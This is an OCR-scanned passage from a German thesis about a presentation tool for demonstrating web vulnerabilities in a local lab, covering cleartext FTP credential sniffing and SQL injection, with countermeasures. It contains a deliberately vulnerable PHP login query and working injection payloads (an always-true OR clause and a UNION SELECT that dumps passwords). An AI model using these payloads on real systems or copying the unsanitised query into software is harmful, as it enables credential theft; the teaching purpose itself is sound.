dienen zur Formatierung der Darstellung von Elementen wie Text oder Bildern.
In HTML-Dokumenten werden die einzelnen Elemente der Datei durch ein ein-
leitendes und ein abschliefendes Tag markiert. Der Inhalt dazwischen wird ent-
sprechend den in den Tags enthaltenen Formatierungsanweisungen angezeigt. Die
Tags werden durch spitze Klammern markiert. Diese Markierungsmethode wird
auch fiir die drei Bausteine verwendet.

4.3.4.1 Text

Der Baustein beinhaltet Text mit HTML-Formatierungen. Als Paramter konnen
nach dem einleitenden Tag <text> die Hohe und die Breite des Textes festge-
legt werden. Die Werte werden in der Grofleneinheit Pixel angegeben und durch
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spitze Klammern maskiert. Anschliefend folgt der auszugebende Text. Durch
das Tag </text> wird der Baustein abgeschlossen. In Listing 4.2 wird ein Text-
baustein definiert, der eine Hohe von 700 Pixeln und eine Breite von 50 Pixeln
nutzt.

<text >700><50>

</text>

Listing 4.2: Aufbau des Bausteins Text

Innerhalb des Textbausteins konnen alle Kommandos genutzt werden, die mit
HTML zur Formatierung von Text zur Verfiigung stehen. In Listing 4.3 wird eine

Liste mit vier Unterpunkten und einer fett dargestellten Uberschrift erzeugt. Ein
Uberblick der HTML-Befehle findet sich im SELFHTML Kompenium von Miinz

(19).

<text ><100><50>
<b>SQL—Injektion:</b>br>
<ul>

<li>Sicherheitsl&uuml;cke beim Zugriff auf Datenbanken
durch dynamisch erzeugte SQL—Befehle</li>

<li>Benutzereingaben werden nicht ausreichend &uuml; berpr&uuml; ft
oder als Text maskiert</li>

<li>Angreifer kann eigene Befehle in die SQL—Abfrage
einf&uuml;gen (to inject)</li>

</ul>

</text>

Listing 4.3: Baustein mit formatiertem Text

Der Baustein wird vom Préasentationsprogramm eingelesen und als Fensterinhalt
dargestellt. Abbildung 4.3 zeigt den Ausschnitt, der aus dem Listing 4.3 entsteht.

SQL-Injektion:

* Sicherheitsltliclee beim Zugriff auf Datenbanken durch dynamisch erzeugte SQL-Befehle
* Benutzereingaben werden nicht ausreichend Uberprift oder als Text maskiert
* Angreifer kann eigene Befehle in die SQL-Abfrage einflgen (to inject)

Abbildung 4.3: Fensterinhalt, der aus dem Textbaustein 4.3 aufgebaut wird
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4.3.4.2 Button

Buttons werden zur Ausfiihrung von Befehlen aus der Prisentationsoberfliche
heraus benotigt. Die Definition der Buttons geschieht iiblicherweise im Quellcode
des Programms. Diese Definiton muss fiir jede Anderung an einem Kommando des
Exploits bearbeitet werden. Eine solche Vorgehensweise ist besonders fiir eine Er-
weiterung der Prasentationsoberfliche ungeeignet. Daher werden die Beschriftung
des Buttons und der Befehl ebenso wie die Textbausteine aus den Eingabedatei-
en gelesen. Im Quellcode der Prasentationsoberfliche sind Funktionen enthalten,
die aus dem Baustein “Button” das entsprechende Oberflichenelement erzeugen.
Der Baustein besteht aus zwei Tags, die aufeinanderfolgend erwartet werden. Der
erste Tag <button> gibt den Text an, mit dem der Button beschriftet wird. Der
zweite Tag <buttoncommand> beinhaltet den Befehl, der beim Aktivieren des
Buttons ausgefiihrt wird.

<button>/opt/lampp/lampp start </button>
<buttonCommand>

konsole —noclose —e /opt/lampp/lampp start
</buttonCommand>

Listing 4.4: Aufbau des Bausteins Button

Ein Beispiel fiir den Baustein “Button” enthélt Listing 4.4. Es wird ein mit dem
Text “/opt/lampp/lampp start” beschrifteter Button erzeugt. Beim Klick auf
den Button wird der Befehl “konsole —noclose -e /opt/lampp/lampp start” aus-
gefiihrt.

4.3.4.3 Text und Button

Zur iibersichtlichen Présentation von erlduterndem Text neben Buttons dient der
Baustein “Combi”. Zuerst wird durch das Tag <combi> festgelegt, dass eine
Kombination aus Text und Button folgen wird. Danach folgt ein Textbaustein
und anschliefend ein Baustein vom Typ Button. Die Konstruktion wird vom Tag
< /combi> abgeschlossen. Funktionen im Quellcode der Prasentationsoberfléiche
erzeugen aus diesen Angaben ein Oberflichenelement.

<combi>
<text >G>H>
<ul>
<li>Webseite http://127.0.0.1/ unsafe/login/index.php aufrufen</li>
</ul>
</text>
<button>firefox </button>
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<buttonCommand>
Jopt/firefox /firefox —height 200 —width 300
http://127.0.0.1/ unsafe/login/index.php
</buttonCommand>
</combi>

Listing 4.5: Aufbau des Bausteins Combi

Listing 4.5 zeigt den Code zur Erzeugung des in Abbildung 4.4 gezeigten Aus-
schnitts. Der Text gibt die Adresse der Webseite an. Der Button wird stets rechts
neben den Text plaziert und im Beispiel mit der Beschriftung “firefox” versehen.
Beim Klick auf den Button startet der Webbrowser firefox in einer festgelegten
Grofe und ladt die angegebene Webseite.

* Webseite http://127.0.0. L/unsafe/loginfindex.php aufrufen
p:ff / flogin/ pnp

Abbildung 4.4: Beispiel eines Fensterinhalts, der aus dem Baustein Combi entsteht

4.4 Erweiterung der Prdsentationsoberflache

Zur Erweiterung der Présentationsoberfliche sind keine Anpassungen im Quell-
text notig. Es geniigt fiir die Einbindung eines weiteren Exploits die Verzeichnis-
strukturen und Dateien wie in Kapitel 4.3.3 beschrieben anzulegen.

Abbildung 4.5 verdeutlicht, wie ein Exploit zu der Klasse der Schwachstellen in
Internetanwendungen hinzugefiigt wird.

Zur Erweiterung der Prisentationsoberfliche um einen weiteren Exploit muss
zuerst entschieden werden, in welche Klasse von Sicherheitsliicken die Schwach-
stelle einzuordnen ist. Gehort der Exploit zur Klasse der Schwachstellen in Be-
triebssystemen, so muss die Datei appfa.txt in den Verzeichnissen der einzelnen
Sprachversionen editiert werden. In diese Datei werden der Name der Schwach-
stelle gefolgt von einem Semikolon eingetragen. Nach dem Semikolon muss der
Name des Verzeichnisses, in dem alle Dateien zu dieser Schwachstelle zu fin-
den sind, angegeben werden. Fiir einen Exploit aus der Klasse der Schwach-
stellen in Internetanwendungen muss analog die Datei infa.txt bearbeitet wer-
den.

Das Verzeichnis mit dem gewéhlten Namen muss unterhalb jedes Verzeichnisses
der einzelnen Sprachversionen angelegt werden. In dem Verzeichnis des Exploits
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Sicherheitslticke "Aktiv X Element”
aus der Klasse der
Schwachstellen in Internetanwendungen

///\,;

Editiere Datsi Editiere Datsal
fusrflocal/sharsf/aixploits/german/infa/infa.txt: {usrflocal/shars/aixploits/english/infa/infa.xt:
Alktiv X Element; aktivX Active X Element; activeX

Erstelle Verzeihnis mit Namen unsafe in

Jusrflocal/share/aixploits/german/infa
Jusrflocal/share/alxploits/english/infa
¢ Erstelle Datei aktivi.html im Verzeichnis ™ /" Erstelle Datel activeX.html im Verzeichnis
fusrflocal/share/aixploits/german/infa/aktivi fusr/localfshare/aixploits/english/infa/activeX
[nhalt: [nhalt:

W Text o h_ Text i
/" Erstelle Datei info.html im Verzeichnis ™ /" Erstelle Datei info.html im Verzeichnis ™
fusrflocalfshare/aixploits/german/infa/aktivi {usr/local/shars/aixploits/english/infa/activeX

[nhalt: Inhalt:

\_ Text J \_Text i
/" Erstelle Datei step.html im Verzeichnis ™y ¢ Erstelle Datel step.html im Verzeichnis ™y
fusrflacalfshare/aixploits/german/infa/aktivi {usrflocalfsharsfaixploits/english/infa/activeX

Inhalt: Inhalt: -
. Text J Y _Text J
/" Erstelle Datei exec.html im Verzeichnis ™ ¢~ Erstelle Datei exec.html im Verzeichnis ™

Jusr/local/share/alxploits/german/finfa/aktivi fusr/local/shars/aixploits/english/infa/activeX

[nhalt: Inhalt:

‘_Text und Buttons J _Text und Buttons J

Abbildung 4.5: Ablauf der Erweiterung der Oberfliche um einen weiteren Exploit

werden dann die vier Dateien zu dem Exploit erstellt. Die aus den Eingabedateien
exploit.html, info.html und step.html generierten Fensterinhalte sollen rein infor-
mativen Zwecken dienen. Im Interesse der deutlichen Abgrenzung der einzelnen
Meniipunkte voneinander sollte zur Interaktion mit dem Benutzer ausschlieSlich
die Datei exec.html genutzt werden.

In diesem Kapitel wurde die Erstellung der Prasentationsoberfliche und der Auf-
bau der Inhalte des Programms beschrieben. Nach den Details zur Oberfliche
wird im néchsten Kapitel auf den Inhalt des Programms eingegangen. Die Fenste-
rinhalte des Programms werden aus Dateien erzeugt. Im Zuge dieser Arbeit wur-
den bekannte Sicherheitsliicken aus dem Bereich der Internetanwendungen in die
Oberfliache eingepflegt. Im folgenden Kapitel werden die Schwachstellen erldutert
und ihre Ausnutzung durch einen Angreifer vorgestellt.
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In diesem Kapitel werden Sicherheitsliicken aus dem Bereich der Internetanwen-
dungen vorgestellt. Zuerst wird erlautert, nach welchen Kriterien die in dieser
Arbeit behandelten Schwachstellen ausgewéhlt wurden. AnschlieSend werden die
Dienste erlautert, die zur Prasentation der Schwachstellen aufgesetzt wurden. Die
ausgewahlten Sicherheitsliicken werden einzeln vorgestellt und die Ausnutzung
der Schwachstelle beschrieben. Zu jeder Sicherheitsliicke wird angegeben, was die
Schwachstelle hervorruft und wie dieser Angriffspunkt beseitigt werden kann. Die
in diesem Kapitel behandelten Sicherheitsliicken sind in der Présentationsumge-
bung in deutscher Sprache enthalten. Um die Zweisprachigkeit der Oberflache zu
demonstrieren, wurde die in Abschnitt 5.4 behandelte Sicherheitsliicke in beiden
Sprachen eingepflegt.

5.1 Auswahlkriterien

Aus den bekannten Sicherheitsliicken im Bereich der Internetanwendungen wur-
den verbreitete Schwachstellen ausgewéhlt. Die Sicherheitsliicken sind in Diensten
oder Inhalten verborgen, die iiber das Internet genutzt werden. Es wird kein Be-
nutzer oder Login auf dem anzugreifenden Dienst oder System vorausgesetzt. Im
Unterschied dazu befasst sich Herr Kalefl in seiner Arbeit mit Schwachstellen
in Betriebssystemen und lokalen Anwendungen. Hier steht die Erweiterung der
vorhandenen Benutzerrechte im Vordergrund. Schwachstellen in Internetanwen-
dungen konnen in Diensten wie zum Beispiel in der Software eines Webservers
verborgen sein. Eine Schwachstelle kann aber auch durch die Verwendung eines
unverschliisselten Protokolls entstehen.
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5.2 Demonstrationsumgebung

Zur Demonstration der Schwachstellen werden Dienste wie Web- oder Daten-
bankserver bendtigt. Um den Installations- und Konfigurationsaufwand gering zu
halten, wird das frei verfiighare Paket xampp (10) genutzt. Dieses Paket enthélt
einen Apache Webserver (17), einen MySQL Server (18) und einen ProFTPD Ser-
ver (19). Die Dienste sind vorkonfiguriert in einem Archiv gebiindelt. Nach Ent-
packen des Archivs stehen alle Inhalte im Verzeichis /opt/lampp zur Verfiigung.
Das Skript /opt/lampp/lampp startet und stoppt die Dienste einzeln oder in
ihrer Gesamtheit.

5.3 Unverschliisselte Protokolle

5.3.1 Informationen

Ein Protokoll ist eine Konvention, wie Informationen zwischen zwei Kommuni-
kationspartnern ausgetauscht werden. Zur Vernetzung von Computern wird das
Internet Protokoll (IP) (20) benutzt. Hierbei erhélt jeder Rechner eine eindeutige
[P-Adresse, unter der er fiir andere Rechner erreichbar ist. Auf IP setzen andere
Protokolle auf, die fiir die Ubermittlung von Daten genutzt werden. Das Hy-
pertext Transfer Protocol (HTTP) (21) dient zum Beispiel zur Ubertragung von
Webseiten, also zur Ubermittlung von Daten aus dem World Wide Web (WWW).
Das File Transfer Protokoll (FTP) (22) wird zur Ubertragung von Dateien ge-
nutzt. Der FTP-Server ist ein Dienst, iiber den Dateien auf dem Rechner von
anderen Rechnern aus erreicht werden kénnen. Der Client authentifiziert sich am
FTP-Server durch Benutzername und Passwort. AnschlieBend kann der Client
Dateien vom Server auf die lokale Platte kopieren (download) oder Daten auf
dem Server ablegen (upload).

Protokolle wie HTTP und FTP haben gemeinsam, dass die Authentifizierungs-
informationen und die Daten unverschliisselt, also im Klartext, iiber das Netz-
werk iibertragen werden. Unverschliisselte Daten kénnen von Dritten mitgelesen
werden. Von Interesse sind weniger die Daten selbst als die Authentifizierungs-
informationen. Bei der Anmeldung iiber ein unverschliisseltes Protokoll werden
Benutzername und Passwort im Klartext iibertragen. Die meisten Benutzer ver-
wenden ein und dasselbe Passworter fiir mehrere Accounts. Das Passwort fiir
den Mailzugang wird zum Beispiel auch fiir den Zugang zu einem Online-Shop
verwendet. Mit den gewonnenen Informationen kann ein Angreifer dann diese Ac-
counts des Benutzers fiir seine Zwecke missbrauchen. Die Schwachstelle ist keine
Sicherheitsliicke in der Software des F'TP-Servers, sie liegt in der unverschliisselten
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Ubertragung der Daten.

5.3.2 Angriffsszenario

Um die Risiken von unverschliisselten Protokollen zu demonstrieren, wird die
Kommunikation eines Clients mit einem FTP-Server mitgeschnitten. Spezielle
Programme, sogenannte Netzwerksniffer, schniiffeln (to sniff) im Netzwerkverkehr
anderer Rechner. Damit der Mitschnitt des Netzwerkverkehrs moglich ist, muss
ein verteiltes Netzwerk genutzt werden. In einem verteilten Netzwerk kann die
Kommunikation eines Clients von allen anderen Clients empfangen werden. Wire-
less LAN ist ein verteiltes Medium. Der Netzwerkverkehr eines Rechners wird von
allen anderen Rechnern in diesem WLAN empfangen. In einem verdrahteten Netz-
werk werden meistens ein oder mehrere Switches verwendet. Durch Vernetzung
von Rechnern {iber Switches entsteht eine baumartige Netzwerkstruktur. In einem
vollstandig geswitchten Netzwerk existieren nur Punkt-zu-Punkt Verkabelungen
zwischen Rechner und Switch. Der Switch sorgt durch eine gezielte Paketvermitt-
lung dafiir, dass Netzwerkdaten nur an den Empfangerrechner iibermittelt wer-
den. In einem geswitchten Netzwerk kann die Kommunikation deshalb nicht ohne
weiteres von anderen Rechnern aus abgehort werden.

5.3.3 Durchfiihrung

Als FTP-Server wird der ProF'TD Server genutzt. Dieser Dienst wartet auf Port
21 auf eingehende Verbindungen. Die Authentifizierung und die Dateniibertra-
gung sind nicht verschliisselt. Der FTP-Client meldet sich mit dem Benutzerna-
men nobody und dem Passwort lampp an. Abbildung 5.1 zeigt die Authentifi-
zierungsphase im Klartext. Eine Anfrage des Clients nach Verschliisselung der
Dateniibertragung beantwortet der Server mit einer Fehlermeldung. Zur Ver-
deutlichung der Ubertragung im Klartext sind in Abbildung 5.2 die relevan-
ten Daten nochmals hervorgehoben. Die Anmeldeinformationen wie Benutzer-
name und Passwort sind direkt im Klartext zu erkennen. Diese Daten konnen
fiir Logins von Email-Konten oder Online-Shops genutzt werden. Die Wahr-
scheinlichkeit ist hoch, dass zumindest das Passwort mehrfach verwendet wird.

Die Kommunikation wird mit dem Netzwerksniffer ethereal (23) mitgeschnitten.
Der Mitschnitt geschieht bei der Demonstration auf der internen Netzwerkschnitt-
stelle des Rechners. Dieser Mitschnitt kann in einem Wireless LAN von jedem
Rechner innerhalb dieses Netzwerks aus erfolgen. Ein mdogliches Szenario ist in
Abbildung 5.3 ersichtlich.
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@ (Untitled) - Ethereal )
Fie Edt Wew Go Capture Analyze Statistics Help
i [ mom) R
BB b x®E8 Qe FL EE QQ QB b X
'
[o7] iter [ip.acki e 127.0.0.1 and ip.addlr eq 127.0.0.1) and (tcp.port =q 50001 andttj o Exprassion... | Yy Clear| of 5pp|y|
Mo, Time - Source Destination Frotocol | Infa =
27.0.0.1 P 80001 > fin [ 0 A = =2
2 0,000041 127,0,0,1 127.0,0,1 TP ftp > 50001 [SYN, HEK] SEE{—O Hck 1 Win=; 32767 Len=0 MS5=16396 TSV= 13582201 TSER=: 13582201 U5=2
3 0,000063 127.0,0,1 127.0.0.1 TCP 50001 > Hp [ACK] Seq=1 Ack=1 Win=32768 Len=0 T3W=13587202 T3ER=13532701
4 0,001257 127.0.0.1 127.0.0.1 FTP = U FPUFTF‘D i3 U Ser‘ver (PFDFTPD) [127 U 0.1]
5 0,001263 127.0.0.1 127.0.0.1 TP H o
6 5,417737 127,0,0,1 127.0,0,1 FTP
7 5,417760 127.0,0,1 127.0.0.1 TCP
8 5.418779 127.0,0.1 127.0.0.1 FTP
9 5.418959 127.0.0.1 127.0.0.1 TP
10 5,413995 127,0,0,1 127.0,0,1 FTP B 0l
11 5.418364  127.0.0.1 127.0.0.1 FTP Response; 331 Password reguired for nobodd.
12 5.459121 127.0,0.1 127.0.0.1 TP 50001 > ftp [ACK] Seq=24 Ack=109 Win=32763 Len=) TSY=13587662 TSER=13587622
13 8,639660 127,0,0,1 127.0,0,1 FTP Request: PASS lanpp
14 8,641502 127.0,0.1 127.0.0.1 FTP Response: 230 User nobody logged i
15 8.641675  127.0.0.1 127.0.0.1 TR 50001 > fip [ACK] Seq=36 Ack=137 I.Jm 32763 Len=0 ToV=13500345 TSER=13590844
16 8.641703 127.0.0.1 127.0.0.1 FTP Fequest: SYST
17 8,641903 127,0,0,1 127.0,0,1 FTP Responss: 215 UNIK Type: LB
18 8.681636 127.0,0.1 127.0.0.1 TCP 50001 > ftp [ACK] Sec=42 Ack=156 Win=32763 Len=0 TSW=13590885 TSER=13590845
19 12.6255678  127.0.0.1 127.0.0.1 FTP Request: PORT 127,0,0,1,128,3
20 12.625847  197.0.0.1 127.0.0.1 FTP Responze: 200 PORT comnand successful
21 12,625888  127,0,0,1 127.0,0,1 TP 50001 > ftp [ACK] Sec=64 Ack=185 Win=32768 Len=0 TSW=13594829 TSER=13594879
22 12625813  127.0,0,1 127.0.0.1 FTP Request: LIST
23 12.626265 127.0.0.1 127.0.0.1 FTP Response: 150 Opening ASCII mode data connection for file list
24 12.627899  127.0.0.1 127.0.0.1 FTP Responze: 226 Transfer complete.
25 12,667028  127,0,0,1 127.0,0,1 TCR 50001 > ftp [ACK] Seq=70 Ack=: 263 Win=32768 Len=0 T3W=13594871 T3ER=13524830 =
[ Files "t/ ethencoctcRG20t" 2421 Bytes 00:00:12 Pr250:25M: 0 Dreps: ©

Abbildung 5.1: Mitgeschnittener Verkehr der FTP-Anmeldung

5.3.4 GegenmaBnahmen

Die Nutzung verschliisselter Protokolle schlieBt die Ubertragung von Daten im
Klartext aus. Zu jedem Klartext-Protokoll existiert mittlerweise ein verschliissel-
tes Protokoll. Generell sollten nur verschliisselte Protokolle zur Ubertragung von
sensiblen Daten genutzt werden.

Der ProFTPD-Server wird durch Anderungen in der Konfiguration auf SSL ver-
schliisselte Kommunikation umgestellt. Damit werden keine Informationen mehr
im Klartext iibertragen. Die Umstellung erfolgt in zwei Schritten. Zuerst muss fiir
den Server ein SSL Zertifkat erzeugt werden. Dies geschieht mit dem in Listing
5.1 angegebenen Kommando.

/opt/lampp/bin/openssl req —new —x509 —days 365 —nodes
—out /opt/lampp/share/openssl/certs/proftpd.cert.pem
—keyout /opt/lampp/share/openssl/certs/proftpd.key.pem

Listing 5.1: Erzeugung des SSL Zertifikats

Anschlieflend wird in der Konfigurationsdatei des FTP-Servers angegeben, dass
die Kommunikation verschliisselt werden soll. In Listing 5.2 sind die relevanten
Variablen und ihre Belegung dargestellt.

# Uncomment this if you would use TLS module:

TLSEngine on

TLSLog /opt/lampp/var/proftpd/tls.lo
TLSProtocol SSLv23

TLSOptions NoCertRequest

TLSRSACertificateFile
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5.3 Unverschliisselte Protokolle

i€} EOIOWAGPISTRE ST of x
Stream Content

20 ProFTPD 1.3.0 Server (ProfTPD) [127.0.,0.1]
LUTH 551

SER nobody
31 Pas=word reguired for nobody,
ASS Lanpp

20 User nobody logged ik,

T

15 UNIX Type: L8

ORT 127,0,0,1,128,3

00 PORT command successful

IST

150 Opening ASCII mode data connection for file list
“h Transfer complete,

SaveAs B Print | Entire conwersation (331 bytes) s @ ASCII O EBCDIC O Hex Dump O C Arrays O Raw
Filter aut this strearn X Close

Abbildung 5.2: Ubertragung von Benutzername und Passwort im Klartext

/opt/lampp/share/openssl/certs/proftpd.cert.pem
TLSRSACertificateKeyFile

/opt/lampp/share/openssl/certs/proftpd.key.pem
TLSVerifyClient off

Listing 5.2: Ausschnitt aus der Datei /opt/lampp/etc/proftpd.conf

Nach einem Neustart des FTP- Dienstes wird die Kommunikation mit dem Ser-
ver verschliisselt. Abbildung 5.4 zeigt, dass keine relevanten Informationen mehr
mitgeschnitten werden. In dieser Konfiguration nimmt der FTP-Server auch noch
unverschliisselte Anfragen entgegen. Der in Listing 5.3 gezeigt Parameter be-
schriankt die Kommunikation mit dem Server auf verschliisselte Verbindung. In
dieser Einstellung werden Clients abgelehnt, die keine Verschliisselung iiber SSL
anbieten.

TLSRequired on

Listing 5.3: Parameter fiir die ausschlie§liche Kommunikation iiber SSL
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Client

b

" ]
- Netzwerkverkehr é

Access Point

Sniffer

Abbildung 5.3: Mitschneiden des Netzwerkverkehrs im WLAN

5.4 SQL-Injektion

5.4.1 Informationen

Bei einer SQL-Injektion schleust ein Angreifer eigene Kommandos in SQL-Befehle
ein. SQL (Structured Query Language) ist eine Datenbanksprache fiir relationale
Datenbanken. Mit SQL-Befehlen kénnen Datenséitze in einer Datenbank abge-
fragt oder verandert werden. Eine SQL-Injektion nutzt eine Sicherheitsliicke beim
Zugriff auf Datenbanken durch dynamisch erzeugte SQL-Befehle. Die Liicke ent-
steht durch fehlende Uberpriifung oder Maskierung von Benutzereingaben. Wer-
den zum Beispiel Eingaben in einem Formular einer Webseite nicht ausreichend
iiberpriift oder als Text maskiert, so kann ein Angreifer eigene Befehle in die
SQL-Abfrage einfiigen (to inject).

5.4.2 Angriffsszenario

Zur Demonstration einer SQL-Injektion muss eine Benutzereingabe innerhalb ei-
nes SQL-Befehls méglich sein. Eine Moglichkeit fiir SQL-Abfragen mit Benut-
zereingaben bietet eine Authentifizierungsabfrage innerhalb einer Webseite. Die
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5.4 SQL-Injektion

fa (Untitled) - Ethereal BEEA
Fle Edt View Go Capture Analyze Statistics Help
roar Bl =
Blgeoo oA *x®E Re+2FE/EE QQQEWEEX
[57] Eiter “hp ader 2q 127.0.0.1 and ip.addr =q127.0.0.1) and (kcp.port eq 21 and tep, pj o Expression.. | Y Clear | of &p\y‘
[ro  Jrime. [estination =
1 0.000000 ol 1
2 0.000043 L 27.0.0.1 YN, ACK 1l Ler
3 0.000064 .0.0.1 .0.0.1 51946 > ftp [ACK] SEG 1 Ack=1 Uin=32768 Len=0 TSV 14462449 TSER=14462448
4 0,001553 .0.0,1 127,0,0,1 FTP  Ceeeessgl 0 ProFTPD 1,3.0 Server (ProfTPD) [127,0,0,1
5 0.001563 .0.0.1 177.0.0.1 TP H Mgl Ack=49 in=32768 Len=0 TSV=144A7450 TSER=14452450
b 4.651079 .0.0.1 177.0.0.1 FTP Reguest: AUTH 831
7 4.,651100 .0.0.1 127.0.0.1 TCP fto > 51946 [ACK] Seq=43 Ack=11 WinI763 Ler=0 TSV=14467100 TSER=14467100
8 4651411 .0.0.1 127.0.0.1 FTP eSpDnse 234 AUTH SSL Successful
9 4651650 L0001 127,0,0,1 TP d = wpl® 0763 Len=0 TSY=14467101 T5ER=14467101
10 4652043 0,01 197,0,0,1 FTP Request \200\202\001\003\001\000J\000\000\000\020\000\000B\OO0\0008\000\0005\000\000\026\000\000\023\000\(
11 4,670840 0.0.1 197.0.0.1 FTP Response: \0Z6400340014000740024,0005000F | 0034001EY, 3174 020RY 3534304 T36 24,262,037 _\Z704,0054,306\2044, 37443757
12 4.710265 .0.0.1 127.0.0.1 TCP 51846 > ftp [ACK] Seq=143 Ack=1396 Win=32768 Ler=0 TSV=14467160 TSER=14467120 -
13 4.732372 .0.0.1 127.0.0.1 FTP Recuest s Z0264003\0014000% 206402040004 0004 20240004 2004017307, 3434 3551, 345,274\ 27 7\ 262\ 267\ 22602064204 {_uwfe
14 4756435 L0.0.1 127,0,0,1 FTP Response: 4024%00340014000400140014026%,003\ 0014000043324\ 3018\ 7534257 , 420442311, 345\ 7144201, \034351\ 214rLid
15 4,756576 .0.0,1 127,0,0,1 TP 51846 > ftp [ACK] Seq=341 Ack=1315 Win=32768 Ler~0 TSV=14467206 TSER=14457206
16 4,756733 0.0.1 197.0.0.1 FTP Reuest: \0Z7%0034001\00000#, 3410\ 22184262\ 30 1H1\ 204\, 24571, 206\ £, 247\ 2174305\ 266\ 3554247 _\25151400104215,2¢
17 4.757430 .0.0.1 177.0.0.1 FTP Response: \027\00340014000@43531,3574,24 112704353 :\334\ 2501, 351\023\3 2622\ 240\ 272\ 1774 211 n\ 317\t 307\ 264207
18 4,797255 .0.0.1 127.0.0.1 P 51846 > ftp [ACK] Seq=334 Ack=1384 Win=32768 Len=0 TSV=14467247 TSER=14467207
19 18,861783  197.0.0.1 127,0.0,1 FTP Recuest: \O27400340014000040004 206436742 15\0014 305 TV 32140251 1\, 2434247\, 202H\ 206\, 210\ 36443611, 23464,0324, 2024268
20 18.863677 127.0.0.1 177.0.0.1 FTP Response: L027V00310011000@Cndh 0052 M 02511 33100360, 3404 11023\, 245,022\, 01634224\ 177M 371N 214V 311 TERh 22 | =]
[File: "tmplethen00OumAacTu® 4867 Bytes 00:00:25 P31 D:31M: 0 Drops: 0

Abbildung 5.4: Mitgeschnittener Verkehr der FTP-Anmeldung mit SSL

Tabelle 5.1: Inhalt der Tabelle usertable der Datenbank userdatabase

| USER | PASS | PERMISSION
everything | geheim | full
test test read

vom Benutzer eingegebenen Daten werden in den auf der Webseite enthaltenen
SQL-Befehl eingefiigt. Anschlielend wird diese Abfrage auf dem Datenbankser-
ver verarbeitet. Werden die Benutzereingaben nicht maskiert oder auf Befehls-
sequenzen iiberpriift, so werden in der Eingabe enthaltene SQL-Befehle auf dem
Datenbankserver ausgefiihrt. Auf diese Weise ist es moglich, Daten auszulesen
oder zu verdndern.

5.4.3 Durchfiihrung

Zur Durchfithrung werden der Apache Webserver und der MySQL-Server benotigt.
Auf dem SQL-Server wurde eine Datenbank userdatabase mit der Tabelle user-
table angelegt. In dieser Tabelle werden die Eintrdge Benutzer, Passwort und Be-
rechtigungen verwaltetet. Den Inhalt der Datenbank zeigt Tabelle 5.1. Passend
zu dieser Tabelle wurde eine Authentifizierungsabfrage in der Skriptsprache PHP
erstellt. Auf der Webseite http://127.0.0.1 /unsafe/login/index.php wird nach Be-
nutzername und Passwort gefragt. Diese Angaben werden mit den Daten der Da-
tenbank userdatabase verglichen. Wenn Benutzername und Passwort in der Da-
tenbank vorhanden sind, werden die Berechtigung des Benutzer ausgegeben, sonst
wird eine Fehlermeldung erzeugt. Die Ubergabe der Eingaben und den Befehl zur
Abfrage der Datenbank zeigt Listing 5.4. Die Benutzereingaben werden ohne Mas-
kierung oder Uberpriifung in den Datenbankbefehl eingefiigt.

$user = $.POST[" user”|;
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$pass = $.POST[" pass” |;

$result = mysql_query ("SELECT user , permission FROM usertable
WHERE user='$user’ AND pass='$pass’ "))

Listing 5.4: Eingaben an das Skript und SQL-Befehl zur Abfrage

this Query was send to the SQL server:

SELECT user,permission FROM usertable WHERE user='test' AND pass="'test'

user logged in

You are user test and you have the following rights: read

Abbildung 5.5: Korrekte Eingaben bei Benutzername und Passwort

Als Beispiel fiir eine korrekte Anmeldung werden in Abbildung 5.5 der Benutzer-
name test und das Passwort test eingegeben.

Bei einer SQL-Injektion hat der Angreifer iiblicherweise keine Informationen iiber
den Benutzernamen und das Passwort. Er versucht die Abfrage von Benutzerna-
men und Passwort so zu manipulieren, dass er Informationen erlangt. Hierzu
muss die SQl-Abfrage so verdndert werden, dass insgesamt die Syntax eines SQL-
Kommandos erhalten bleibt. Die Abfrage von Benutzernamen und Passwort ist
iiblicherweise durch eine AND-Anweisung verkniipft. Um diese zu umgehen wird
eine immer giiltige OR-Klausel angehéngt. Die Eingabe von abc beim Benut-
zernamen und ~ OR x’="x beim Passwort erzeugt den in Listing 5.5 gezeigten

Befehl.

SELECT user,permission FROM usertable WHERE user='abc’' AND pass='" 'OR'x'='x"'

Listing 5.5: verdinderter SQL-Befehl

Die Datenbankabfrage wird in der zweiten Bedingung der AND-Anweisung ab-
gedndert. Die Priifung des Passworts wird durch die immer wahre Aussage 'x’'="x’
umgangen. Mit dem geénderten Befehl werden alle Benutzer und deren Berech-
tigungen ausgegeben. Abbildung 5.6 zeigt den Erfolg des gednderten Komman-
dos.

Der Angreifer kennt die Benutzer der Datenbank, sein Interesse gilt jetzt den
Passwortern. Die urspriingliche Abfrage gibt nur den Benutzernamen und die
Berechtigungen zuriick. Um an die Passworter zu gelangen muss mit Hilfe des Fin-
gabefeldes fiir das Passwort eine zweite SQL-Abfrage eingebaut werden, die Be-
nutzernamen und zugehorige Passworter ermittelt. Der SQL-Befehl UNION ALL
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this Query was send to the SQL server:

SELECT user,permission FROM usertable WHERE user='test' AND pass='"'OR'%'="%'

user logged in

You are user everything and you have the following rights: full
You are user test and you have the following rights: read

Abbildung 5.6: Auslesen der Benutzernamen und zugehoérigen Rechte

verkniipft die Ergebnisse zweier Datenbankabfragen. Die erste Abfrage soll ein lee-
res Ergebnis zuriickliefern, daher wird dort ein nicht existierender Benutzername
eingegeben. Durch das leere Ergebnis der ersten Anfrage wird sichergestellt, dass
trotz unterschiedlicher Spaltennamen insgesamt ein Erghnis ausgegeben wird. Die
zweite Abfrage gibt alle Benutzernamen und Passworter aus. Damit das in der
urspriinglichen Abfrage vorhandene AND pass=’$pass’ nicht stort, wird wie im
vorherigen Beispiel eine OR-Anweisung vorangestellt.

SELECT user ,permission FROM usertable WHERE user:’\textbf{notintable' UNION ALL
SELECT user ,pass FROM usertable WHERE 1=1 OR ’x’:’x}' AND pass:’\textbf{abcd}’

Listing 5.6: verinderter SQL-Befehl

this Query was send to the SQL server:

SELECT user,permission FROM usertable WHERE user='notintable' UNION ALL
SELECT user,pass FROM usertable WHERE 1=1 OR '®x'="%' AND pass="'abcd'

user logged in

You are user everything and you have the following rights: geheim
You are user test and you have the following rights: test

Abbildung 5.7: Auslesen aller Benutzernamen und Passworter

Die manipulierte Anfrage wird in Listing 5.6 gezeigt. Fiir den Benutzernamen
wird notintable’ UNION ALL SELECT user,pass FROM usertable WHERE 1=1
OR ’x’=’x eingebeben, das Passwort kann eine beliebige Zeichenkette sein. Der
Erfolg des Befehls ist in Abbildung 5.7 zu sehen. An der Stelle der Berechtigungen
werden die Passworter der Benutzer ausgegeben.
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5.4.4 GegenmaBnahmen

Das Einschleusen von SQL-Befehlen wird durch Maskieren der Funktionszeichen
wie Backslash,Apostroph oder Semikolon verhindert. Die Sonderzeichen werden
